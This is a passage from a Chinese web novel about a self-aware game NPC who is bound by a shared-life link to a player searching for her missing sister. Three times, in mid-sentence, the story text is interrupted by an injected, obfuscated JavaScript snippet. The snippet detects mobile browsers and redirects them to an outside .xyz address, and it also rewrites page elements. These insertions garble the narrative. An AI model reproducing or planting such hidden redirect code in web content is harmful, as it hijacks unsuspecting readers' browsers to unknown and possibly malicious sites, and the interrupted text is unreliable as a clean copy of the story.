现在也不想继续这个话题。 “除了心细和会察言观色之外,还有其他非暮烟不可的理由吗?” “当然有。” 领队抬起下巴,满脸小骄傲。 “暮烟可是我们安保队里唯一的受赐者。” * 回家途中,唱鹿一路走神。 暮烟是受赐者? 一整天下来,她没有任何特殊表现,委实看不出来。 最关键的还是唱鹿忘了带魔方。 如果魔方真的如同她猜想的那样,彼此之间存在某种吸引和排斥。 假如暮烟真是受赐者,那么唱鹿在持有魔方的情况下接近她,必然会有某种感觉。 就像昨天晚上。 她和庸医之间就出现了说不清道不明的引力。 暮烟。 暮烟…… 这姑娘到目前为止的表现只能说中规中矩,没有任何亮点。 她的赐福到底是什么样的呢? 老实讲,唱鹿对暮烟的感觉并不算好。 可能因为是暮烟怯弱的性格,也可能是她的愧疚心在作祟……毕竟隐瞒了大川的真正死因。 不论如何,唱鹿都不想让暮烟成为她未来的副手。 至少到目前为止还不想。 唱鹿掏出钥匙打开第一重锁,又把拇指贴在门把上,指纹验证是第二重锁。 两重锁同时解开,这扇门才能真正打开。 现在是下午六点半左右,还不算太晚,但外头的天已经黑了。 屋里没有开灯,漆黑一片,伸手不见五指。 静谧,幽暗。 每天下班回到家都是这样的场景。 但今天有的不大一样。 黑暗深处似乎潜藏着一股危险的气息。 唱鹿下意识去摸腰带。 空的,没有枪,也没有其他武器。 她的习惯是下班后接到活儿再去下水道仓库拿装备。 失策了。 玄关处没有做隔断,进门便是客厅。 由于生活习惯,屋里的家具很少,基本都是必用品。 比如茶几。 又比如,沙发。 在沙发上躺了几天的女人不见了。 唱鹿早有预感她很快就会醒来,没想到偏偏是今天。 既然醒了,又不大大方方的相见,非要搞这种鬼祟骇人的小动作。 唱鹿走进门内,右手摸上墙壁的按钮。 “嗒。” 客厅的大灯亮起。 大门正对着客厅,客厅连接着阳台,阳台门没关。 阳台上有一张藤编吊椅,每逢休息日,唱鹿都会窝在吊椅里,什么都不做,就望着天空发呆。 现在坐在吊椅里的是另一个女人。 她穿着唱鹿的睡衣,嘴里似乎在哼歌,足尖随歌曲的节拍敲打地面。 女人长得不错,因此这幅画面本该很唯美。 如果她的右手没有握着本该压在枕头底下的微型手枪,枪口也没有对准唱鹿的话。 好好好。 恩将仇报是吧。 玩农夫与蛇那套是吧。 唱鹿藏不住冷笑。 早知道在那晚在超市后头的巷子里就该一枪把她崩了。 女人先开口:“聊聊?” 唱鹿:“行。” 那就聊呗。 反正她们现在共用一管血。 对面要是敢开枪,大不了一发子弹两条命,黄泉路上不孤单。 唱鹿不紧不慢地换上室内拖鞋,不忘把手里的蛋糕放进冰箱,再重新走回客厅,坐在沙发上。 沙发里还有她给女人准备的枕头和毛毯。 住我的穿我的用我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808832|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 命还是我救的。 现在活过来了,第一件事就是拿枪指着我。 枪还是我的! 唱鹿气不打一处来,“这位小姐,你是不拿枪不能聊是吗?” 女人冷冰冰道:“我不相信你。” 说着,给子弹上膛。 唱鹿:“……” 完全不知道女人的敌意来自何处。 她都不认识她! 唱鹿忍不住嘴角抽搐,最后变成一抹自嘲的笑,“我能问问原因吗?哪怕要死,好歹让我死得明白些。” 女人说:“你是刺鲸的人。” “你哪只眼睛看到我是刺鲸的人了?” “我在N278港口见过你,你在为刺鲸做事。” “哦,为刺鲸做事就是刺鲸的人了?你知不知道这个世界有一种关系叫做临时雇佣,我(脏话消音)只是个打零工的!” 女人的目光不觉往下掠,默默思忖几秒后,又说:“你想杀我。” 唱鹿深吸一口气,告诉自己要冷静。 很难冷静,于是咬牙切齿地挤出四个字,“我救了你。” “不,你想杀我,两次。” “但我也救了你,两次!” 女人持枪站起身,步履如常地朝沙发走来。 她的枪口从未偏离过一分一毫,始终死死锁定在唱鹿身上。 最后,停在唱鹿跟前,枪口对准眉心。 “不管事实如何,你和刺鲸的确有牵扯。” 唱鹿无语。 这人轴得很,根本没办法沟通。 女人盯着唱鹿,一字一句道:“我问你,风铃在哪儿?” 一瞬间,唱鹿头皮发麻。 这种僵麻很快又蔓延到了脖颈,顺着脊背沁到脚底一片冷。 风铃。 有多久没听见这个名字了。 应该好几个周期。 最后一次见面,两人一起吃晚饭。 当时风铃问了她一个很奇怪的问题。 后来,唱鹿突然有了自我意识,再也没有见过风铃。 女人本就没什么温度的语气,在观察到唱鹿神情变化的这一刻,彻底降到冰点。 她搭在扳机上的食指正在缓缓收紧,“你果然认识风铃。” 唱鹿脑袋没动,掀起眼睛看她,“很遗憾,这把枪里没有子弹。” 女人神色如常,垂眸看她,“我知道。” 她们对视。 平静的,和谐的,稳定的。 三秒后过,两人同时动手。 唱鹿两手支在沙发靠背上,接力撑起身子,紧接一个高抬腿踢向女人的太阳穴。 女人也不慢,双手合并硬挡下这一记踢腿。同时手指顺着她的腿骨下滑至脚踝处,锁住往外拽。 这一招如果成功,可以直接把唱鹿拽到地上。 但唱鹿早有预料。 她顺势在半空中坐了个大翻身,想借力打力,把女人甩开。 反击奏效了。 女人被旋转的劲力撂倒在地,可这也没能让她消停多久。 唱鹿刚落地站稳,女人立即用剪刀脚夹住她的一只小腿。 “砰!” 猝不及防地失去重心,唱鹿摔在沙发和茶几间的缝隙里。 一下摔得脑袋发懵,彻底把她激怒了。 唱鹿支起上半身,狠狠瞪向女人。 女人死死盯着这边,观察着她的下一步动作。 目光交汇之际,硝烟再起。 两人如同猎豹般躬身扑向对方,开始第二轮扭打。 这一波互殴搞出的动静不小。 茶几的一角磕没了,上头的水杯也倒了。 沙发里的枕头和毯子掉在地上,旁边立着的台灯摔成两节,灯罩成了一地的彩色玻璃渣。 阳台门的窗帘也没能幸免。 被她俩连杆从墙上扯下来,彻底报废。 战况胶着,难分胜负。 突然响起一阵急促的拍门声。 “喂!你是不是拆我屋子呢?” “开门!别躲在里面不出声,我知道你在家!” 14. 朋友 014. “开门!” “唱鹿!别装了,我看见你下班了!” 房东太太拍起门来堪比催命。 一下比一下重不说,节奏还越来越快。 与此同时,2902号房内。 两个女人正以一个匪夷所思姿势纠缠在一起。 唱鹿从后背勒住了女人的脖子。 女人则两手掰着她的右腿,两脚夹着她的左腿。 地上一片狼藉,她们在其中像两个交错在一起的回形针,难解难分。 都没出声,都不肯先放手。 房东太太开始不耐烦。 不仅用手拍门,还压了几下门把手。 唱鹿一点不慌。 除非把整面墙敲掉,否则没有她的指纹验证,天王老子来了这扇门也打不开。 目前最大的麻烦。 是这个女人。 屋内绵长的死寂让房东太太彻底失去耐心。 她放弃拍门,直接加大音量吼道:“再装死我可报警了!” 报警二字戳中了唱鹿的神经。 如若在以前,房东太太威胁要报警,她绝对不信。 偷税漏税的人心里有鬼,才不会上赶着去送人头。 可自打被匿名举报之后,房东太太就变了。 或许是补齐税款给了她底气,现在动不动就拿报警说事。 说就说呗,老太太还真干。 前些天就报警把楼下一拖欠了半个纪年房租的男人给关局子里了。 再怎么样唱鹿都能接受。 唯独一点,她不想和联邦有任何接触。 唱鹿低头,女人也有所察觉地往上抬眼。 这种姿势使两人的脑袋靠得很近,想要看到彼此只需一个眼神。 “喂,和你商量一件事儿。” “说。” “暂时休战。” 女人略微思索了片刻,“可以。” 两人默契地同时松开手脚。 唱鹿起身后飞速整理了一下着装,让自己尽量看起来正常点。 然后淡定地去开门。 只拉开一道人宽的门缝,轻易看不到屋里的场景。 房东太太就在门口。 她身量不高,机械脑袋朝上抬,电子眼从左至右扫了一圈。 “你在里头搞什么呢?”智械的声音没什么起伏,听不出情绪,“怎么还有人?” 房东太太果真在眼睛里装了热成像仪。 “她——”唱鹿说起谎来脸不红心不跳,“是我的朋友,专门从福音地区过来看我。太久没见,闹起来有点疯。” 要不是十几秒前还在互掐脖子,她都能说服自己。 房东太太不知道信不信。 到底没说什么,冷哼一声后道:“东西砸坏了要赔钱。” 唱鹿陪笑,“这是当然。” 答应得太过爽快,倒让房东太太犹疑了一下。 “你们要是两个人住,我要加房租。” 唱鹿:“……” 谁说要和那个女人住一起了? 还有,凭什么一套房子两人住就得加房租? 她耐着性子,“我朋友不住这里。” 巴不得赶紧走呢! “总之我话先放在这里。多一个人,多五百通用币。” “还有,明天是最后一天,你准备好钱交租。”她再度隔门扫视屋内的景象,“再交不上来,我会直接报警。” - 关上门。 唱鹿径直走厨房打开冰箱,取出一瓶冰水。 女人站在后头狐疑道:“你就不怕我偷袭你?” 唱鹿正喝水,昂着头斜睨她,“你打不过我。” 这是事实。 方才两个回合下来,唱鹿没尽全力已经能把女人制服。 其实女人有格斗底子,身手灵活,算得上是高手。 可惜遇见的是唱鹿。 唱鹿半倚在靠墙的长桌边缘,在杂乱的桌面上找了个小空位,将手里的水瓶放下。 几天前,女人还躺在这张桌上动手术。 几天后,桌面已经堆满了各种杂物。 “而且你好像还没有搞清楚状况。” “我们现在是一条绳子上的蚂蚱,你杀了我,我也会死。” 唱鹿如此笃定,是因为方才交手时感觉到了女人的每一招都在攻向她的致命点。 而她正相反,只是牵制,不求致死。 果然,女人一愣。 她的五官精致出挑,哪怕露出这种有点蠢的表情,整体还是叫人赏心悦目。 唱鹿观察她脸上多变的微表情,“不信?” 女人抿唇不语。 不说废话,唱鹿从杂物中抽出一把小型水果刀,果断划破自己的左手掌心。 这事她在前几天已反复做过多次,再来一次连眉头都没皱一下。 女人却因为通感疼得倒吸了一口冷气。 鲜血渗出掌心的同时,一条猩红的链路出现。 链路一头圈着唱鹿的右手,另一条圈着女人的左手。 这一幕让女人瞪大了眼睛。 她满脸不可思议,“怎么可能……!” 唱鹿握紧受伤的手,“这话我还想问你呢。” 震惊让女人的嘴唇有些发颤,“我……我不知道。” “你不知道?”唱鹿板起脸,眼神也在瞬间变得锐利,“看来我们确实有必要好好‘聊聊’,但在此之前——” 话音未落,一支强效麻醉针已经扎进了女人的脖颈里。 从在满桌面杂物中锁定目标,再反手抓起那支强效麻醉针,毫不犹豫地扎过去。 整个过程,唱鹿仅用了五秒。 药效来得飞快,伴随着一声闷响,女人昏倒在地。 唱鹿却完全不受影响。 “看来通感只通痛觉。” 她自言自语着,顺手把针管丢进垃圾桶。 这支麻醉针被唱鹿从下水道仓库带回家后,就一直搁在这张长桌的杂物堆里,不起眼得连她都忘了。 没想到会在今天派上用场。 说起下水道仓库……唱鹿简单包扎完左手,开始在家里到处翻找。 隐约记得当时好像还拿了一捆牛筋绳。 嗯,也该发挥它的作用了。 - 女人是在一阵说话声中醒来的。 麻药还没彻底消散,四肢和感官都是钝的。 她睁开眼睛,低头发现自己被绳子捆在一张椅子上。 捆得很紧,绳子又很有韧性,根本逃不掉。 主谋正窝在沙发里看全息电影。 唱鹿不必回头就知道女人醒了。 视觉无法共享通感,但她能感觉到脖颈上有一道阴风扫过,必然是某人在瞪她。 “醒啦?” “做梦了吗?” “有没有梦见我?” 三连问,可没人答。 见她不搭理自己,唱鹿从茶几下拿出未央阁刚派人送上门的外卖。 才把盖子掀开一条缝,听见身侧的某人用力地咽了咽口水。 这可太香了。 用神都地区的天然稻米焖出来的大米饭,搭配福音地区的精选上等小牛肉,再淋点伽马地区特产的黑椒汁…… 难怪能成未央阁的招牌。 唱鹿明知故问,“饿不饿?” 女人后槽牙都要咬碎了,硬挤出两个字,“不饿。” “真的不饿?” “不、饿。” “那太可惜了,我还多订了一份呢。看来只好犒劳我自己了。” “……” “开个玩笑,我没有虐待人犯的爱好。” 说完,唱鹿打了个响指。 投射在客厅中央的全息电影应声暂停。 “一问一答,答完了就吃饭。同意吗?” 两人对视。 僵持了有半分钟,女人阖眼叹息,“同意。” “第一个问题,你叫什么名字?” “扶鸢。扶摇直上,鸢飞戾天。” “扶鸢。”唱鹿重复一遍,“好听。” “……谢谢。” 唱鹿问:“你第一次见到我是在N278港口,我第一次见到你是在一家连锁超市后面的小巷里,对吧?” 扶鸢说不话。 不否认,即为默认。 “你和刺鲸有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812723|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过节?” “之前没有,现在有了。” 唱鹿猜她的现在是指受伤痊愈之后。 换句话说,扶鸢重伤十有八九和刺鲸有关。 “我第一次见到你的那个晚上,你已经受了很严重的伤。现在我想知道,你为什么受伤?” “我袭击了N278港口。”在扶鸢平静的语调里,唱鹿捉到了一丝疯感。 扶鸢还不忘强调,“独自一人。” 唱鹿:“……” 果然,命运不会轻易放过她。 早就有预感,以N278港口为中心引发的一系列连锁事件,最终也会把她卷进风暴里。 但怎么都没能想到,风暴眼和她的关系会如此紧密。 物理意义上的同生共死。 明明已经很小心了。 尽量避免和联邦接触,减少和刺鲸合作带来的负面影响。 结果一通操作下来,反而和核心人物绑定了? 唱鹿脑子里鸣钟似的嗡嗡直响。 所有事情进行到现在,看似是各种巧合凑到一块。 可仔细琢磨,实则一环扣一环,严丝合缝得令人发指。 简直像先写好了剧本,再把她们这群人塞进去玩角色扮演。 等等! 这该不会是游戏中的某一条支线吧? 假如真是支线剧情,那么触发任务的玩家又是谁呢? 唱鹿下意识看向扶鸢。 是她吗? 根据手上已有的信息,可以推断出这人的行为逻辑。 首先是动机。 “你袭击N278港口是为了找风铃。” 但有一个问题。 “你和风铃是什么关系?” 扶鸢不假思索地答道:“她是我妹妹,亲妹妹。” 合情合理,唱鹿点头。 一个问题解决,该轮到下一个问题了。 唱鹿抬起右手,“你不知道怎么解开这东西,对吧?” 扶鸢说:“的确不知道,但有人知道。” “谁?” “你先告诉我风铃在哪儿。” 唱鹿想笑,“扶鸢小姐,现在可是我的主场,你没有和我讨价还价的资本。” “资本,我当然有。” 唱鹿双手抱在胸前,饶有兴趣地看着扶鸢。 扶鸢缓声道:“我第一次向你提到风铃的时候,你表现出了惊恐。为什么?” 见唱鹿没反应,她迅速接上下一句,“你杀了她?” “我没理由杀她。” “那你在害怕什么呢?唱鹿。” 唱鹿微微眯起双眼。 这人在其他方面或许有限,洞察力确实不一般。 只听房东太太喊了一次她的名字便记住了,说明扶鸢的脑袋很灵光。 智商高的一般都不好对付。 “一个身负重伤的人,痊愈后的第一件事是向我打听好友的下落。你觉得我会联想到什么呢?” “我以为是你要杀她。” 在说到“是你”二字时,唱鹿故意加重了语气。 良久的沉默后,扶鸢问:“你最后一次见她是什么时候?” “具体时间忘记了,是在未央阁。” “我还记得她问了我一句非常奇怪的话,到现在我都没弄明白她的意思。” “风铃说……” * 数个周期前。 晚上七点十五分,未央阁二楼。 “不好意思,我来晚了。”风铃匆匆坐下。 唱鹿正埋头干饭,抬眼见她满脸通红,遂问道:“去哪儿了?这么赶。” 风铃眨眨眼,“保密~” “成天保密,是不是偷偷赚大钱去了?”唱鹿给她递了张纸巾擦汗,“老实交代,不然就罚你这顿请客。” “请就请,我也要一碗牛肉盖饭,不加葱。”风铃两手支在桌上,托腮望着唱鹿,“你的发色可真好看,我喜欢。” “你每次见我都要说一遍,累计下来有几百遍了。” “那我今天说点不一样的。” “说,我洗耳恭听。” “唱鹿,如果重新认识一次,你还会和我做朋友吗?” 15. …… 015. 唱鹿身子往后倾,坐姿变得松弛,“现在你可以告诉我,谁能解开这条链路了吧?” 扶鸢还在掂量她的话是真是假,久久没有开口。 今夜还长,唱鹿有的是耐心。 全息电影继续播放,顺便把晚饭吃了。 肉在嘴里还没往下咽,身侧传来肚子咕嘟叫的响声。 扶鸢的眼神躲闪,试图假装无事发生,但耳朵还是不争气地红了。 唱鹿起身为扶鸢解开牛筋绳。 又从茶几下取出另一份外卖,递过去时正好撞上她疑惑的眼神。 唱鹿说:“又想问我为什么?” 扶鸢没答话,看表情的确是想问。 “第一,这条链路不仅让我们通感,也共享同一条命。你伤成那样能活下来不是靠奇迹,是因为你拿走了我的半条命。在把链路解开之前,你要是想杀我,建议先写封遗书。” “第二,如果你对我有敌意,我立马就能知道。” 扶鸢被麻醉针迷晕的那段时间里,唱鹿已经把魔方揣身上了。 她没有相信扶鸢,也并非完全不设防。 在这世上,唱鹿只相信她自己。 两人安安静静地吃着晚饭。 屋子里只有全息电影演员的说话声,你一句我一句,气氛倒也没冷清过。 快吃完时,扶鸢突然评价了一句,“这游戏连吃饭的感觉也挺真实。” 唱鹿持筷的手几不可察地顿住。 后背瞬间激起一整片的鸡皮疙瘩,甚至忘了要去掩饰脸上的诧异。 扶鸢真的是玩家! 一个觉醒NPC。 一个玩家。 两者被迫绑定在一块,想要解除绑定,还需要第三个人的帮忙。 这游戏是想玩死她。 扶鸢似乎是笑了下,唱鹿现在思绪太乱,没空去关注她。 但她接下来的这番话,让唱鹿不得不将注意力全都集中到她身上。 “你是我进入游戏以来遇见过的最难缠的角色,以至于我一直在思考你是个玩家,还是NPC。”扶鸢说,“我提到现实世界,你没有附和,但表情变得很微妙。听说游戏里的NPC不会对玩家提出的任何与现实世界有关的信息作出反应。你有,说明你至少不会是……一个正常的NPC。” 唱鹿没有回答,一口接一口地往嘴里扒饭。 两人对峙多次,她一直是占上风。 可形势逆转从来都只需要一个关键信息。 怎么办? 怎么办! 脑子转得再快,此时能想出的每一条路都是死路。 因为究竟是死是活。 结果都掌握在扶鸢手中。 “我从其他玩家口中听说过你们。” “他们说有些NPC会突然觉醒自我意识,就像现实世界里的异常人工智能一样。” “你或许不知道,玩家中有一群专门针对异常NPC的赏金猎人,不管是自行狩猎还是向联邦举报都不会亏。” “所以呢?”唱鹿斜睨她。 猜不到扶鸢说这些的意图是什么,只能听出字里行间满是威胁,“你也想拿我的人头去向联邦邀功?” “不。”扶鸢放下饭盒,“我想和你做个交易。” “交易?” “你帮我找到风铃,我为你保密。” 唱鹿忍不住嗤笑,“你大可以威胁我让我听你的。刀子和鱼肉谈交易,你不觉得很虚伪吗?” “风铃是我不顾一切也要找到人,为了达成这个目的,我必须确保自己的每一个决定都能指向积极的结果。假如我不得不和某人成为队友,那我们关系的开端绝不能建立在‘胁迫’这种负面的基础上。” 扶鸢的语气很诚恳,唱鹿也微微点头表示理解。 “说得不错,但我为什么要相信你?我的命脉被你捏在手中,这场交易注定不公平。” “是你说的,我们共享一条生命。” “可你是玩家。” “每一个玩家在进入游戏时都绑定了生物信息。如果玩家在游戏里死去,一生都无法再次进入游戏。想要找到风铃,我有且仅有这唯一的一次机会。” 说完这些,两人不约而同地沉默。 又只剩演员在当背景音了,但电影已经抵达尾声,很快屋里就陷入了死寂当中。 说实话,唱鹿现在很难分辨扶鸢有没有在撒谎。 但她能明显感觉到变化。 自打送走房东太太之后,扶鸢对她的敌意明显减少了,意外的友善和配合。 “合作吗?”扶鸢主动打破僵局。 “现在不行。” “为什么?” “好感度不够。” 唱鹿指了指她身侧代表好感度的数字。 ——20。 远不够成为盟友,盟友的好感度至少要60。 “可你已经有了自我意识……” “但我依旧是个NPC,任何行为要遵循游戏的底层逻辑。”唱鹿耸肩,“你也不希望我因为违反NPC的行为逻辑被赏金猎人发现吧?” 扶鸢很无奈,“那我该怎么做?” 唱鹿指了指自己的脸,“很简单,刷我的好感。” “送礼物吗?” “我不喜欢礼物,非要送的话,我建议你直接送钱。”她把手里的饭盒盖上,顺手交给扶鸢,“刷好感的第一步,先把客厅这一地的东西收拾了。” 扶鸢:“……” 早知如此,刚才就不该动手。 - 扶鸢把洗干净的抹布挂好,扭头便看到窝在沙发里的唱鹿拍了拍身侧的空位。 收拾一个多小时也确实累了。 扶鸢走过去坐下,唱鹿旋即递来一瓶饮料,“我很好奇,既然你是玩家,风铃肯定也是玩家。你们都是活生生的人,你为什么要跑到虚拟世界里找人?” 扶鸢不答反问,“你对现实世界了解多少?” “几乎为零。” 唱鹿又说:“还有,我从没听风铃提起过你。你真是她姐姐?” “说来话长。”扶鸢望着天花板,“既然你想知道,那我从头说起。” “我们的世界,也就是现实世界,在一次世界大战后爆发了一种污染,官方将它定名为‘坍缩污染’。在坍缩污染的影响下,现实世界中超过90%的土地都变成了废土,人类只剩不到10%的地表生存空间。” “最可怕的是这种污染还会蔓延到所有生物身上。” “风铃一出生就感染了,她的皮肤会溃烂到像泡发的墙皮一样从骨头上剥落,随着年龄的增长越来越严重。妈妈为了不让她感染到其他人,也害怕联盟的人发现她,一直把她关在不见天日的地下室里。” 唱鹿抬起手表示自己要插话,“联盟是……?” 扶鸢解释说:“根据现有的历史记载,在那场几乎毁灭一切的世界大战结束后,幸存的人类在仅存的未被污染的土地上继续求生。他们合力建立了最初的幸存者基地,开始进行灾后重建并抵御不断扩大的坍缩污染。灾后重建的百年间,有三个幸存者基地逐渐壮大,最终演化为三个大规模城市区域。而引领它们的三大家族就此稳固地位,并成为新的政权势力:三区联盟。” 懂了,唱鹿总结道:“你的联盟,我的联邦。” “大差不差。” “ok,继续。” “风铃在地下室里生活了六年。她很乖,哪怕身上痛得受不了也不会出声。” “直到有一年,三大区联合举办了一次跨年庆典,这场庆典将从新年的第一天开始,为期十天,全民狂欢。风铃说她想看烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818349|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花,于是我趁夜里妈妈睡着偷走钥匙,带着风铃溜了出去。” “联盟的人发现了我们,因为感染,风铃被抓走了。后来的十几年,我再也没见过她,没收到过任何消息。直到半年前,有人给我寄了一封信。” 唱鹿再次出声打断她,“十几年没见,一封信不足以证明寄信人就是风铃吧?” “一开始我也不信。”扶鸢的目光渐渐黯淡下去,“我一直以为她死了,毕竟感染的人大多都活不过十年……可她在信里提到了很多过去的事情,叫我不得不信。” “后来,我每隔三天就能收到她的消息。她从不说自己在哪里,只在信中反复提及虚拟乌托邦。为了和她见面,我一直在攒钱买设备,想要尽快进入这个游戏。可当我准备好一切的时候,她又消失了。” “我寻找她唯一的线索就是这个游戏。” 唱鹿说:“可你这么做无疑是大海捞针,既然是游戏……” 思维远比语言快一步,她已经想到了扶鸢不去向游戏方求助的理由。 扶鸢苦笑,“没错,研发并运营游戏的正是联盟。他们制造出能让玩家有真实体验感的设备,让玩家得以亲眼看到并体验这个虚拟世界,因为这是三大家族对所有人类许下的承诺——更美好的未来,更美好的世界。” 美好吗? 唱鹿可不觉得。 可能对玩家来说很美好吧,对NPC而言纯纯地狱。 “我在游戏世界里走遍每一个风铃在信中提到过的地点,全都一无所获。直到在N278港口找到她留下的密码箱,里面放了一个很奇怪的游戏道具。”扶鸢回忆道,“一个透明的正方体,很诡异。我一碰它,它就融进了我的身体里。” “风铃给你的是一块魔方。” 扶鸢一脸茫然。 唱鹿掏出口袋里的[魔方·拟造],“你说的游戏道具是不是这个?” 扶鸢点头。 “这就是魔方。获得魔方的人,同时会获得一种特殊能力,游戏里把这种能力叫做赐福。虽然不清楚你的赐福内容是什么,但从目前的情况来看,应该是生命共享。这是风铃留给你的,只有她才完全了解。” “也只有她才能解开链路。”扶鸢说。 唱鹿没搭腔,她正在思考另一个问题。 方才扶鸢提到“我一碰它,它就融进了我的身体里”,应该没有撒谎。 因为唱鹿是在大川的尸体里找到的[魔方·拟造]。 当时它和尸体骨血融合,她费了好大劲儿才把魔方剖下来。 已知:魔方之间存在某种相互吸引或相互排斥。 增加:魔方会在某种条件之下钻进受赐者的身体里。 两点相加,似乎更进一步验证了她的猜想。 ——魔方是活的。 一种可能存在自我意识的诡异晶体,它的来源又是什么呢? 突然在眼前弹出的光幕中断了唱鹿的思维。 [主线任务:寻找风铃。] [描述:有人给你带来了好友风铃失踪的消息,而你也正为风铃最后一次见面时说的那句话感到疑惑,甚至怀疑……找到她,找到真相。] [支线任务:调查刺鲸。] [描述:伽马地区最大的民间组织刺鲸似乎与风铃的失踪脱不开关系,你是否要开始调查呢?] 任务……? 以前弹出来的都是选项,还是头一回弹出任务。 [请做出你的选择——] [A.接受] [B.拒绝] [温馨提示:不论命运走向何方,你永远都有选择。] 有吗? 事到如今,那必然是…… [恭喜你,已成功选择接受任务。] [任务进度:1%] [任务奖励:魔方·未知] 16. 尾随 016. 唱鹿重新捋了下思绪。 首先,N278港口。 它除去正常的港口运输作业外,也给VIP客人提供保险柜服务。 其次,风铃。 风铃最后出现的地点就是N278港口。 她在保险柜里放了密码箱后失去了踪迹。 最后,扶鸢。 扶鸢根据来信一路找到了N278港口,的确有理由对怀疑风铃的消失与刺鲸有关。 但是—— “目前仅有的线索确实指向刺鲸,可你一上来就夜袭港口,有点说不过去吧?”唱鹿对此感到迷惑。 扶鸢双手交叉抱在胸前,“我礼貌地询问过港口的负责人。” “然后?” “他给了我四个字。” “我不知道?” “无、可、奉、告。” 唱鹿:“……” 这搁谁身上也忍不了。 换位思考,真想直接给港口上爆破。 扶鸢斜睨过来,“现在你有什么想法吗?” “我想。”唱鹿从沙发里站起身,“既然活人口中问不出东西,我们去找死人问问。” 她转身进卧室从柜子里翻出一套衣服,还有墨镜和口罩,一并交给扶鸢,“先换上。” 扶鸢的疑惑浮在眉宇间,“有用吗?” “有总比没有好。”唱鹿斜倚在卧室门框上,“你这张脸……” “怎么?” 因为链路绑定,唱鹿虽对扶鸢颇有微词,却也不得不承认扶鸢是个大美人。 还是一眼难忘的类型。 “没事。” 唱鹿反手关门,“五分钟后出发。” * 时隔二十四小时再次来到这栋建筑前,唱鹿不自觉缓下脚步。 又是雨天,又是这种森冷的感觉。 想起昨晚天台上发生过的事,她还心有余悸。 唱鹿默默深呼吸,准备继续前进,余光瞥见扶鸢正在看着自己。 一种带着好奇的观察。 扶鸢说:“你这面具不错。” 唱鹿戴着专业的伪装面具。 这种面具不仅会覆盖全脸,还会改变伪装者的发色。 此刻在扶鸢的眼里,唱鹿是个戴着面具、留着黑色长发的普通女人。 “定制的,平时不轻易戴,容易被联邦盯上。” “噢。” “是不是觉得比你的白叉头盔专业很多?” “……” 明明彼此都看不到对方的眼神,但扶鸢的无语已经溢到了空气里。 唱鹿很喜欢这种让人吃瘪的感觉,继续逗她,“想要吗?” 扶鸢冷声答道:“不想。” 说完,抢先一步走进大楼。 但她很快意识到自己并不知道目标是哪个房间,只能在楼梯口等着。 唱鹿不紧不慢地跟上,“305房。” 扶鸢抿唇,默默侧身让路,示意她先走。 “怕我坑你?” “你会吗?” 唱鹿轻笑了声,顺着楼梯往上。 楼道里充斥着生活垃圾腐烂发酵的臭味,两人一路屏息飞速来到三楼。 三楼的情况比楼下更糟。 残破的墙壁,断裂的楼梯,一道抓痕横跨三扇房门,铁皮被抓得往外翻卷。 联邦的人已经来过了。 这一层好几个地方都拉起了警戒线,红色感叹号规律地闪动着。 唱鹿径直穿过,连腰都没弯。 跟在后头的扶鸢见状也直接走了过来,“这里发生过命案?” 三言两语不好解释,唱鹿随口答道:“算是吧。” 昨晚整出那么大动静,楼里的其他居民肯定会上报给联邦。 但唱鹿完全不怕会被查到。 一来,联邦的天眼覆盖范围有限,且集中在市区繁华地段。此处太过贫瘠偏僻,即便有监控摄像头,也是私人商铺的,而最近一家商铺,离这里足有一公里远。 二来,大川的尸体已经被庸医带走了,她的团队还清理过现场,没有留下任何可疑的痕迹。 物证找不到一点,至于人证…… 对联邦而言,人证是最不重要的东西,尤其是住在这种地方的人证。 305号房也有警戒线。 因为铁门不翼而飞只剩门洞,警戒线直接贴在两侧墙上。 唱鹿打开客厅的灯。 这里原本堆积成山的货物已经被清走了,空空如也。 扶鸢环视一周,目光落在那扇被从内用木板封死的窗户上,“你说问死人,我还以为你要带我去停尸房。” 唱鹿摇头,“我们要找的那个死人十有八九已经被解剖了。” 再说,也没有能让死人开口的道具。 扶鸢脑子转得很快,“那你带我来这里是要找东西?” “嗯,找一枚芯片。” 唱鹿继续道:“刺鲸的每一个成员都有一枚芯片,芯片里储存着大量与组织相关的信息,每个成员都要保管好他的芯片,因为芯片丢失相当于背叛组织,会被其他组织成员追杀到天涯海角。这个房子是他在加入刺鲸之后租下的,你现在站着的地方原本放置了许多本属于刺鲸的货物,多得垒到了天花板。中饱私囊肯定是为了钱,为了钱却不转手,反而堆积在这里,连外包装都不拆。虽说刺鲸的货品在短时间内的确很难出手,可那些东西都没有积灰……现在想想,应该是故意放在这里。” “为了掩饰价值更高的东西。”扶鸢接上她的话,“比如,他的芯片。” 唱鹿点头,“只是猜测,不能百分百保证一定就藏在这里,碰碰运气吧。” 有目标就行,扶鸢说:“我搜外面,你搜里面。” 